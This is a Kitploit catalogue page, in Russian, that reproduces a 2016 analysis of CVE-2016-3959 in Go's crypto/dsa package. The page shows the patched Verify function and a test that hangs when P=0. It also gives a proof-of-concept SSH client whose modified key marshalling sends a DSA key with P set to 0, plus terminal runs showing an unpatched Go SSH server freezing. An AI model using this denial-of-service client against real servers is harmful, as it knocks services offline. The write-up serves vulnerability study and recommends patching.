Skip to content
KitploitKITPLOIT
ИнструментыБлог
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
dsa — Анализ CVE-2016-3959 и доказательство концепции атаки на Go SSH сервер. | Kitploit
Инструменты/GitHubGitHub/alexmullins/dsa
Анализ уязвимостейЭксплуатацияКриптографияТестирование на ПроникновениеОбучение и Образование
GitHubalexmullins/dsa

dsa

Анализ CVE-2016-3959 и доказательство концепции атаки на Go SSH сервер.

Репозиторий
11210 лет назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

Краткое описание уязвимости crypto/dsa в Go (CVE-2016-3959)

Алекс Маллинс

9 апреля 2016 года


Введение

Недавно была обнаружена ошибка в криптографической библиотеке Digital Signature Algorithm (DSA) для языка программирования Go. В этой статье мы рассмотрим подробности ошибки и то, как злоумышленник может использовать её для проведения атаки типа «отказ в обслуживании» на стандартный SSH-сервер на Go, который использует библиотеку DSA для аутентификации клиентов.

Первое упоминание об этой уязвимости появилось в сообщении в списке рассылки Open Source Security (oss-sec) по адресу http://seclists.org/oss-sec/2016/q2/11.

В Go есть бесконечный цикл в нескольких подпрограммах работы с большими целыми числами, что делает программы на Go уязвимыми для удалённых атак типа «отказ в обслуживании». Программы, использующие аутентификацию клиента по HTTPS, или серверные библиотеки ssh для Go подвержены этой уязвимости. Это исправляется в следующем CL: https://golang.org/cl/21533

-- Jason Buberel

Если кратко, эксплуатация этой уязвимости может привести к бесконечному циклу в коде библиотеки BigNum. Это будет потреблять системные ресурсы (ЦП и память) и в конечном итоге может привести к тому, что программа или сама система перестанут отвечать.

В приведённом выше утверждении говорится, что затронуты SSH и аутентификация клиента по HTTPS, но после изучения пакетов crypto/tls и net/http в Go это кажется неверным. Аутентификация клиента по HTTPS может использовать схемы подписи RSA или ECDSA, но не DSA. Смотрите ниже. Если я ошибаюсь, пожалуйста, сообщите мне об этом.

https://golang.org/pkg/crypto/tls/#Certificate

root@kitploit:~
type Certificate struct { Certificate [][]byte // PrivateKey содержит закрытый ключ, соответствующий открытому ключу // в Leaf. Для сервера это должен быть crypto.Signer и/или // crypto.Decrypter с открытым ключом RSA или ECDSA. Для клиента // (выполняющего клиентскую аутентификацию) это должен быть crypto.Signer // с открытым ключом RSA или ECDSA. PrivateKey crypto.PrivateKey ... другие поля }

Вскоре после появления этого сообщения в списке рассылки oss-sec был выдан номер CVE: CVE-2016-3959. Разработчики Go подготовили исправление, которое появится в версиях 1.5.4 и 1.6.1, релиз запланирован на среду, 13 апреля 2016 года; https://groups.google.com/forum/#!topic/golang-nuts/MmSbFHLPo8g.

Чтобы воспроизвести примеры кода из этой статьи, вам понадобится установленная версия Go 1.6. Следуйте инструкциям на https://golang.org/doc/install. Если вы хотите загрузить этот документ и примеры кода, вам также понадобится установленный Git. Следуйте инструкциям на https://git-scm.com/book/en/v2/Getting-Started-Installing-Git. Чтобы клонировать репозиторий, выполните следующую команду в терминале:

root@kitploit:~
$ go get github.com/alexmullins/dsa

Эта команда клонирует репозиторий в ваше рабочее пространство Go.

В следующем разделе будут рассмотрены детали уязвимости.

Ошибка

Итак, что именно не так? Чтобы ответить на этот вопрос, нужно вернуться к исходному объявлению в списке рассылки oss-sec. Там мало информации, кроме общего объяснения проблемы и ссылки на исправление кода по адресу https://golang.org/cl/21533. Сообщение коммита для этого изменения содержит следующее:

crypto/dsa: устранить некорректный PublicKey на ранней стадии

Для PublicKey.P == 0 Verify завершится ошибкой. Даже не пытайтесь.

--- Robert Griesemer

и исправленный код:

https://github.com/golang/go/blob/master/src/crypto/dsa/dsa.go#L247

root@kitploit:~
// Verify проверяет подпись r, s для хэша с использованием открытого ключа pub. Она
// сообщает, является ли подпись действительной.
//
// Обратите внимание, что FIPS 186-3, раздел 4.6, указывает, что хэш должен быть усечён
// до длины подгруппы в байтах. Эта функция не выполняет такого усечения сама.
func Verify(pub *PublicKey, hash []byte, r, s *big.Int) bool {
    // FIPS 186-3, раздел 4.7

    // Добавлено исправление кода для проверки разумности параметров ключа.
    if pub.P.Sign() == 0 {
        return false
    }

    if r.Sign() < 1 || r.Cmp(pub.Q) >= 0 {
        return false
    }
    if s.Sign() < 1 || s.Cmp(pub.Q) >= 0 {
        return false
    }

    w := new(big.Int).ModInverse(s, pub.Q)

    n := pub.Q.BitLen()
    if n&7 != 0 {
        return false
    }
    z := new(big.Int).SetBytes(hash)

    u1 := new(big.Int).Mul(z, w)
    u1.Mod(u1, pub.Q)
    u2 := w.Mul(r, w)
    u2.Mod(u2, pub.Q)
    v := u1.Exp(pub.G, u1, pub.P)
    u2.Exp(pub.Y, u2, pub.P)
    v.Mul(v, u2)
    v.Mod(v, pub.P)
    v.Mod(v, pub.Q)

    return v.Cmp(r) == 0
}

Таким образом, сообщение коммита и исправление кода выше: в Go 1.6 и предыдущих версиях есть ошибка в функции Verify пакета crypto/dsa. Если кто-то вызывает Verify с параметром открытого ключа P, установленным в 0, это вызовет бесконечный цикл в одном из операторов далее в функции Verify.

Краткое отступление для объяснения DSA. DSA — это алгоритм цифровой подписи, использующий асимметричную криптографию для подписания сообщения, которое впоследствии может быть использовано для гарантии того, что сообщение действительно было отправлено отправителем/владельцем закрытого ключа. Простой пример: Алиса отправляет сообщение Бобу, сообщая ему, где и когда они должны встретиться на обед. Боб, однако, хочет быть уверен, что сообщение отправила именно Алиса, а не кто-то другой. Для этого Алиса подписывает сообщение своим закрытым ключом, а Боб может проверить подпись Алисы с помощью её открытого ключа, который известен Бобу. Никто, кроме владельца закрытого ключа, не может подписать сообщение, которое затем можно будет проверить с помощью соответствующего открытого ключа (по крайней мере, так задумано).

Для работы DSA требуется 5 больших чисел. Первые 3 числа известны как параметры DSA: P, Q и G. Они определяют базовую группу и генератор группы. Эти числа могут быть правильно созданы с помощью вызова dsa.GenerateParameters().

root@kitploit:~
type Parameters struct {
        P, Q, G *big.Int
}

Последние два числа, необходимые для DSA, — это закрытый ключ X и соответствующий ему открытый ключ Y. Эти числа также можно создать с помощью вызова dsa.GenerateKey().

root@kitploit:~
type PrivateKey struct {
        PublicKey
        X *big.Int
}

type PublicKey struct {
        Parameters
        Y *big.Int
}

Это всё, что вам нужно знать о DSA для дальнейшего изучения. Для получения дополнительной информации см. стандарт NIST: http://csrc.nist.gov/publications/fips/fips186-3/fips_186-3.pdf или страницу в Википедии: https://en.wikipedia.org/wiki/Digital_Signature_Algorithm.

Вернёмся к теме; где находится бесконечный цикл в функции Verify? При более тщательном изучении вы обнаружите, что код зависает на:

root@kitploit:~
v := u1.Exp(pub.G, u1, pub.P)

Вот комментарий к методу Exp():

root@kitploit:~
// Exp устанавливает z = x**y mod |m| (т.е. знак m игнорируется) и возвращает z.
// Если y <= 0, результат равен 1 mod |m|; если m == nil или m == 0, z = x**y.
// См. Knuth, том 2, раздел 4.6.3.
func (z *Int) Exp(x, y, m *Int) *Int {

Из приведённого выше видно, что комментарий указывает: когда m == 0, возведение в степень выполняется без модульного сокращения. Когда вы возводите большое число в степень другого большого числа, результат также будет ОЧЕНЬ БОЛЬШИМ числом. Я не очень знаком с работой math/big, но думаю, что именно это здесь и происходит. Exp() усердно вычисляет это возведение в степень, которое займёт очень, очень много времени (можно считать, что бесконечность).

Вот несколько примеров чисел, используемых в вызове dsa.Verify() к Exp(), собранных из тестового кода ниже:

root@kitploit:~
x = 87134495734400160760614045850064869082246125869475484226357302998590334523718907040547736115253396811403341841812955872027275698952059512800196447089300992352859585665865224989740
07948775031938554271780506269767106717359222697821209685947889925442133804051298762702245652821695254167558015585995918548052076 (307 знаков)

y = 751336012463178371212581620103057049388105279629 (48 знаков)

z = x ^ y

С помощью Wolfram Alpha можно оценить, насколько велико это число z. В результирующем числе z содержится "113406800566837208055789635448879116719378036793444 или 1.13407x10^50 десятичных цифр". (Примечание: в веб-поле ввода Wolfram Alpha можно было использовать только первые 150 знаков x, возведённых в степень y, так что фактическое количество цифр ещё больше!) Чтобы дать представление о масштабе: учёные оценивают количество атомов во Вселенной примерно в 10^78 — 10^82 http://www.universetoday.com/36302/atoms-in-the-universe/.

Пример теста подписи/проверки DSA:

root@kitploit:~
func generatePrivKey(t *testing.T) *dsa.PrivateKey {
    // Создание параметров DSA
    params := dsa.Parameters{}
    err := dsa.GenerateParameters(&params, rand.Reader, dsa.L1024N160)
    if err != nil {
        t.Fatalf("не удалось сгенерировать параметры dsa: %v", err)
    }

    // Создание закрытого/открытого ключей DSA
    priv := new(dsa.PrivateKey)
    priv.Parameters = params
    err = dsa.GenerateKey(priv, rand.Reader)
    if err != nil {
        t.Fatalf("не удалось сгенерировать ключи dsa: %v", err)
    }
    return priv
}

func TestDSASignature(t *testing.T) {
    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Подписать сообщение
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("не удалось подписать сообщение: %v", err)
    }

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("не удалось проверить сообщение: %v", err)
    }
}
root@kitploit:~
$ go test
PASS
ok      github.com/alexmullins/dsa    0.224s

Пример теста с установкой P в 0:

root@kitploit:~
func TestDSAPanic(t *testing.T) {
    flag.Parse()
    if !*fail {
        t.Skip()
    }

    var message = "Hello brave new world!"
    var hash = sha1.Sum([]byte(message))
    var err error

    priv := generatePrivKey(t)

    // Подписать сообщение
    r, s, err := dsa.Sign(rand.Reader, priv, hash[:])
    if err != nil {
        t.Fatalf("не удалось подписать сообщение: %v", err)
    }

    // Установить P = 0
    priv.P = new(big.Int).SetInt64(0)

    if !dsa.Verify(&priv.PublicKey, hash[:], r, s) {
        t.Fatalf("не удалось проверить сообщение: %v", err)
    }
}
root@kitploit:~
$ go test -fail

Обратите внимание, что этот последний тестовый вызов зависнет.

Эксплуатация

Как кто-то может это использовать? Если злоумышленник каким-то образом сможет заставить сервер принять и использовать некорректный ключ DSA для проверки подписи, он сможет заставить сервер застрять в вычислении большой степени, что вызовет отказ в обслуживании (DOS). Поскольку SSH использует DSA в качестве схемы подписи в своём протоколе аутентификации клиента, это кажется идеальным сервером-кандидатом для попытки эксплуатации этой уязвимости. Давайте представим сценарий, в котором это могло бы произойти.

Небольшой Git-хостинг позволяет своим пользователям аутентифицироваться с помощью SSH-ключей к своему сервису, и их SSH-сервер написан на Go. Чтобы вывести этот сервис из строя, злоумышленник может создать множество фейковых учётных записей и загрузить некорректные ключи DSA для использования в SSH-аутентификации. Все эти ключи будут иметь параметр P, установленный в 0. Затем злоумышленник может запустить сотни таких SSH-подключений к серверу, что приведёт к блокировке системных ресурсов и эффективному DOS.

Давайте проверим этот сценарий.

Сервер

Сервер представляет собой простой SSH-сервер, который принимает запросы сеанса и выводит текущее время в соединение. Благодарим github.com/jpillora за предоставление этого примера серверного кода на https://gist.github.com/jpillora/b480fde82bff51a06238. В код были внесены некоторые изменения, чтобы разрешить аутентификацию по открытому ключу вместо обратных вызовов с паролем.

root@kitploit:~
config := &ssh.ServerConfig{
    // Принимать все запросы аутентификации
    PublicKeyCallback: func(c ssh.ConnMetadata, key ssh.PublicKey) (*ssh.Permissions, error) {
        return nil, nil
    },
}

Это будет принимать все запросы аутентификации по открытому ключу. Представьте себе реальный сервис, который запрашивает базу данных, чтобы определить, зарегистрирован ли этот открытый ключ для данной учётной записи пользователя. Сервер выглядит как обычный Go-сервер, который начинает прослушивать порт и принимает входящие соединения.

root@kitploit:~
// После настройки ServerConfig можно принимать соединения.
listener, err := net.Listen("tcp", *addr)
if err != nil {
    log.Fatalf("Не удалось прослушать %s: %s", *addr, err)
}

// Принимать все соединения
log.Println("Прослушивание на", *addr)
for {
    tcpConn, err := listener.Accept()
    if err != nil {
        log.Printf("Не удалось принять входящее соединение (%s)", err)
        return
    }
    log.Printf("Принято входящее TCP-соединение от %s", tcpConn.RemoteAddr())
    if *p {
        go makeSSHConn(tcpConn, config)
    } else {
        makeSSHConn(tcpConn, config)
    }

}

func makeSSHConn(conn net.Conn, config *ssh.ServerConfig) {
    // Перед использованием необходимо выполнить рукопожатие на входящем net.Conn.
    sshConn, chans, reqs, err := ssh.NewServerConn(conn, config)
    if err != nil {
        log.Printf("Не удалось выполнить рукопожатие (%s)", err)
        return
    }

    log.Printf("Новое SSH-соединение от %s (%s)", sshConn.RemoteAddr(), sshConn.ClientVersion())
    // Игнорировать все глобальные внеполосные запросы
    go ssh.DiscardRequests(reqs)
    // Принимать все каналы
    go handleChannels(chans)
}

Стоит обратить внимание на проверку if *p. Она соответствует флагу -p и управляет тем, выполняется ли SSH-рукопожатие в главной горутине или в фоновой горутине. Многие онлайн-примеры используют первый вариант. Флаг -p покажет разницу, которую блокирующая операция может оказать на производительность сетевого сервера в разделе атаки далее.

Клиент

Клиентский код немного сложнее. Он требует изменений в библиотеке Go SSH, чтобы позволить отправку повреждённого ключа DSA. Библиотека SSH была включена в пакет клиента. Обратите внимание, что серверный код полностью не изменён и импортирует обычный пакет golang.org/x/crypto/ssh из рабочего пространства.

Клиент работает в двух режимах, управляемых флагом командной строки -attack. Когда клиент запускается обычным образом, он устанавливает обычное SSH-соединение с сервером и начинает считывать время сервера каждые несколько секунд. Но когда присутствует флаг -attack, клиент отправляет запрос аутентификации на сервер с повреждённым открытым ключом DSA. Соответствующие части кода:

root@kitploit:~
func init() {
    flag.Parse()
    if *attack {
        ssh.Attack = true
    }
    if *key == "" {
        log.Fatalln("необходимо указать ключ аутентификации.")
    }
}

Обратите внимание, что в включённую библиотеку SSH была добавлена новая переменная ssh.Attack, которая устанавливается в true, когда присутствует флаг -attack. ssh.Attack изменяет код упаковки открытого ключа DSA в пакете SSH, заменяя параметр P на 0. Вы можете найти оба этих изменения в файлах attack.go и keys.go во включённом пакете SSH.

root@kitploit:~
// attack.go
var (
    // Attack должен быть установлен в true для отправки повреждённого ключа DSA.
    Attack = false
)

// keys.go
func (k *dsaPublicKey) Marshal() []byte {
    x := k.P
    if Attack {
        x = big.NewInt(0)
    }
    w := struct {
        Name       string
        P, Q, G, Y *big.Int
    }{
        k.Type(),
        x,
        k.Q,
        k.G,
        k.Y,
    }

    return Marshal(&w)
}

Атака

Атака имеет разное воздействие в зависимости от того, запущен ли сервер с флагом -p.

Чтобы собрать сервер, перейдите в каталог server и выполните: go build -o server . То же самое для клиента: go build -o client . В каталогах data сервера и клиента есть тестовые RSA и DSA ключи. Если вы хотите создать новые, используйте ssh-keygen.

Сервер — главная горутина

Если сервер был запущен без флага -p, то одного атакующего клиента достаточно, чтобы полностью заморозить сервер, и новые соединения не будут приниматься. Это происходит потому, что вызов ssh.NewServerConn() выполняется в главной горутине и застревает в вызове dsa.Verify() для аутентификации клиента, блокируя дальнейшие вызовы listener.Accept(). При написании сетевых серверов важно поддерживать цикл accept отзывчивым и выносить блокирующие операции в фоновые горутины.

Запустите сервер обычным образом:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:30:27 Прослушивание на localhost:8022

В другом терминале запустите обычный клиент, который отправит корректный ключ DSA на сервер для аутентификации:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:31:31 подключился
Wed Apr 13 07:31:34 CDT 2016
Wed Apr 13 07:31:37 CDT 2016

Переключитесь обратно на сервер и увидите, что он принял TCP-соединение и создал SSH-соединение:

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Прослушивание на localhost:8022
2016/04/13 07:31:31 Принято входящее TCP-соединение от 127.0.0.1:63516
2016/04/13 07:31:31 Новое SSH-соединение от 127.0.0.1:63516 (SSH-2.0-Go)

Теперь пора запустить атакующий клиент в другом терминале. Он отправит тот же ключ DSA, что и обычный клиент, НО с параметром P, установленным в 0:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Обратите внимание, что клиент просто зависает без сообщения 'подключился', и нет записей о времени сервера. Сервер также не зарегистрировал создание SSH-соединения, но TCP-соединение он принял. Теперь сервер застрял на вызове dsa.Verify():

root@kitploit:~
$ ./server -key=./data/id_rsa
2016/04/13 07:31:23 Прослушивание на localhost:8022
2016/04/13 07:31:31 Принято входящее TCP-соединение от 127.0.0.1:63516
2016/04/13 07:31:31 Новое SSH-соединение от 127.0.0.1:63516 (SSH-2.0-Go)
2016/04/13 07:33:36 Принято входящее TCP-соединение от 127.0.0.1:63521

Попробуйте подключить другого обычного клиента; ему теперь также не удаётся подключиться:

root@kitploit:~
$ ./client -key=./data/id_dsa

Однако исходный клиент всё ещё может получать ответы от сервера.

Сервер — фоновая горутина

Если сервер был запущен с флагом -p, он всё ещё может принимать обычные клиентские соединения, потому что SSH-соединения атакующего обрабатываются в фоновых горутинах, а не блокируют цикл accept в главной горутине. Это не приводит к немедленному DOS, но будет постоянно потреблять ресурсы ЦП и памяти сервера, что приведёт к медленной гибели.

Давайте снова запустим сервер, но на этот раз с флагом -p:

root@kitploit:~
$ ./sshd -key=./data/id_rsa -p
2016/04/13 07:38:07 Прослушивание на localhost:8022

Теперь запустите атакующий клиент, как и раньше:

root@kitploit:~
$ ./client -key=./data/id_dsa -attack

Обратите внимание, что сервер снова не зарегистрировал создание SSH-соединения, но давайте попробуем подключить обычного клиента:

root@kitploit:~
$ ./client -key=./data/id_dsa
2016/04/13 07:42:06 подключился
Wed Apr 13 07:42:09 CDT 2016
Wed Apr 13 07:42:12 CDT 2016
}

Он подключается! Но злоумышленнику нужно всего лишь запустить ещё несколько вредоносных клиентских соединений, и использование ЦП и ОЗУ сервера резко возрастёт. С 4 атакующими клиентами мне удалось получить ~400% загрузки ЦП и 1 ГБ использования ОЗУ, прежде чем остановить из-за того, что мой ноутбук начал нагреваться. В нормальных условиях, когда к серверу подключено всего 2 обычных клиента, загрузка ЦП составляла около 0.2%, а использование ОЗУ — 5-6 МБ. Довольно большая разница.

## Заключение

В заключение, эта уязвимость может быть использована для проведения атаки типа «отказ в обслуживании». Используя описанный выше сценарий, калькулятор оценки CVE <https://nvd.nist.gov/CVSS/v2-calculator> дал оценку 3.5/10. Влияния на конфиденциальность или целостность нет, только частичное/полное влияние на доступность.

Согласно godoc.org, в настоящее время есть 164 пакета, которые импортируют `crypto/dsa`, <https://godoc.org/crypto/dsa?importers>. Рекомендуется обновить до версии безопасности, доступной по адресу <https://golang.org/dl/>.

В целом, это был интересный опыт обучения. Если есть какие-либо ошибки или улучшения, которые можно внести, сообщите мне, пожалуйста. Спасибо за чтение.
Скачать инструмент